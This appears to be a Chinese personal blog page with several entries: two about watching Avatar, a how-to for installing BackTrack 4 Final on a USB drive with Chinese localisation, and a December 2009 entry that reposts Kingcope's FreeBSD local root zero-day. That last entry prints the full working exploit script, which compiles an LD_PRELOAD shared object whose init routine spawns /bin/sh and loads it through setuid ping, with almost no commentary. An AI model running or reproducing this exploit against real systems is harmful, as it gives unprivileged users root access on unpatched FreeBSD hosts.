February 05, 2010
真是烧啊
昨晚又看了一遍普通3D版的阿凡达,2D下线了,不然再看下2D的就烧到家了。公司的团票,领的爆米花两大桶,吃的我那个晕啊。今天晚上开年会去,吃完饭就回去睡觉,已经连续2天后半夜才睡了,顶不住了,人老了,已经熬不了夜了。
January 13, 2010
今天安装BT4 final到移动硬盘上了
by:vitter
blog.vfocus.net
今天有人发过来BT4网站下载链接,看到出了BT4最终版了,立即下载回来研究下。我按官方说明的用unetbootin安装bt4-final.iso失败了,因为unetbootin没能识别到我的移动硬盘。
简单看了下BT4已经基于Ubuntu了,用的是grub引导的。于是想到可以用grub4dos去引导:
1、下载HP_USB_FW.rar,This tool can setup a booting USB flash disk。他可以创建dos的引导程序到U盘里面。下载后解压,执行HPUSBFW.EXE,选FAT32文件系统,快速格式化,要选中创建dos启动盘,路径指向解压目录下的HPUSBFW目录,这个目录下有引导程序COMMAND.COM、IO.SYS、MSDOS.SYS,这3个文件在格式化完成后被copy到移动硬盘跟目录下。
2、下载grub4dos,我们要提取里面的grldr、grub.exe文件复制到移动硬盘的根目录下。
3、用rar或者其他iso工具解压bt4-final.iso里面的boot、casper目录复制到移动硬盘的根目录下。
4、把boot\grub目录下的menu.lst文件复制到根目录下,同时编辑下,default 0改成default 4,这是修改默认启动选项为Start Persistent Live CD这项(可保存配置模式),这个能保证我们的系统可写。
5、在移动硬盘根目录下创建AUTOEXEC.BAT文件,内容如下:
@echo off
grub.exe
6、用PQ等分区工具把移动硬盘最后一部分空间留出2-3G,做成EXT3(移动硬盘)或EXT2(闪存)的文件格式,并把卷标命名为casper-rw,这个分区是为了保证我们选Start Persistent Live CD这项的时候能够存储数据的,当然你如果有足够大空间,越大越好。
OK,以上都完成后,重启机器,进入BIOS修改启动从U盘引导后重启。如果不出意外即可看到BT4的grub启动选项,默认应该是Start Persistent Live CD选项,进入系统。此时df可以看到我们的FAT32分区是加载到了cdrom。根目录加载的是我们的casper-rw卷,可读写,可保存配置。startx启动图形界面,可以享受BT4了。
之后我们可以进行汉化,因为采用了Ubuntu,安装软件都比较方便了。只要能上网,什么都可以采用apt-get的安装方式。
下面具体汉化和安装输入法:
汉化:
apt-get install language-pack-kde-zh language-pack-kde-zh-base language-pack-zh language-pack-zh-base
把微软雅黑msyh.ttf字体复制到/usr/share/fonts目录下创建的msfonts目录下然后:
cd msfonts
mkfontscale
mkfontdir
fc-cache
重启汉化完成。
输入法:安装小企鹅没问题,其他可能有各种问题。
apt-get install fcitx
在/etc/X11/Xsession.d/目录下新建一个文件99fcitx,内容如下:
export LANG="zh_CN.UTF-8"
export XIM_PROGRAM=fcitx
export XIM=fcitx
export XMODIFIERS="@im=fcitx"
fcitx&
具体汉化和输入法详见帖子:BT4 FINAL汉化+ 安装中文输入法。
January 09, 2010
看完3D IMAX胶片版阿凡达归来
今天下午终于到电影博物馆看了3D IMAX胶片版阿凡达,下午4:20的,12点就到了,路上有点堵车,到了先参观了下博物馆。
2点领了票,买的团体票。位置不错,6排中间。在门口等着时候,看到了导演顾长卫看完出来被采访,顺便就拍了张。
入场之前人还是很多的。我们合影的时候拍的。
看完的感受就是震撼,震撼,还是震撼。太赞了。唯一不爽的就是中文字幕翻译的不太好。现在已经想看第二遍了。希望三部曲后2集能尽快看到。准备找个时间再看一次2D,看看啥效果,色彩可能会更好吧。
December 02, 2009
年底FreeBSD发大奖了
Kingcope大牛曝了一个FreeBSD一个新的0day,官方尚未发布补丁。注意图中粉框中。
------------------FreeBSD 0day-----------------
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env






